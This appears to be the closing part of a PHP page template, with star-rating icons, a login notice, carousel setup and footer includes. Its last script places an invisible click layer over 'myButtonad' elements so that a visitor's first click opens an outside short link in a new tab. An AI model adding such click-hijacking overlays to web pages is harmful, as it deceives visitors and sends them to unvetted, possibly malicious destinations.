<?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> </div> </div> <?php } ?> </div> </section> </div> </div> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desk"> <div data-v-ca6cf050="" data-v-e49fcc30="" class="container container row-responsive my-3"> <?php include('seo.php'); ?> </div> </div> <?php include('footer.php'); ?> </div> <div role="alert" class="snackbar-error snackbar-container snackbar-hide" data-v-143f642f="" data-v-5fa6951a=""> <div class="flex relative row align-center px-3" data-v-143f642f=""> <div class="snackbar-indicator indicator-error" data-v-143f642f=""></div> <svg xmlns="http://www.w3.org/2000/svg" width="50px" height="50px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle color-error" data-v-143f642f=""> <circle cx="12" cy="12" r="10" data-v-143f642f=""></circle> <line x1="12" y1="8" x2="12" y2="12" data-v-143f642f=""></line> <line x1="12" y1="16" x2="12.01" y2="16" data-v-143f642f=""></line> </svg> <div class="column px-4 py-3" data-v-143f642f=""> <span class="bold text inverse large" data-v-70d8a0c4="" data-v-143f642f="">Failed </span> <span class="mt-2 text inverse normal" data-v-70d8a0c4="" data-v-143f642f=""></span> </div> </div> </div> <div class="snackbar-bg" data-v-aa051a02="" data-v-5fa6951a=""> <div class="snackbar snackbar-container snackbar-hide" data-v-aa051a02=""> <div class="flex relative row align-center px-3" data-v-aa051a02=""> <div class="column px-4 py-3" data-v-aa051a02=""> <span bold="" class="mt-2 text dark normal" data-v-70d8a0c4="" data-v-aa051a02="">You need to <a href="sign-in" data-v-70d8a0c4="" data-v-aa051a02="">login</a> to use this function.</span> <div class="cancel mt-3" data-v-aa051a02="">Cancel</div> </div> </div> </div> </div> <div data-v-78a91c7e="" data-v-5fa6951a=""></div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js"></script> <script> $(document).ready(function () { $(".image-slider1").owlCarousel({ margin: 5, loop: true, autoplay: true, nav: true, dots: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 3 }, 600: { items: 7, merge: true, }, 1000: { items: 10 } } }); $(".image-slider2").owlCarousel({ margin: 5, loop: true, autoplay: true, nav: true, dots: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 3 }, 600: { items: 7, merge: true, }, 1000: { items: 10 } } }); }); document.addEventListener('DOMContentLoaded', () => { // Select all buttons with the class 'myAdButton' const buttons = document.querySelectorAll('.myButtonad'); buttons.forEach((button) => { // Create the overlay layer const layer = document.createElement('div'); layer.className = 'click-layer'; // Use class instead of ID for multiple layers // Style the button to be relative button.style.position = 'relative'; // Append the layer inside the button button.appendChild(layer); // Add click event listener to the overlay layer.addEventListener('click', () => { window.open('https://webbed-leadership.com/IFcS2v', '_blank'); layer.remove(); // Remove the layer after one click }); }); }); </script> <?php include('script.php'); ?> </body> </html>
Close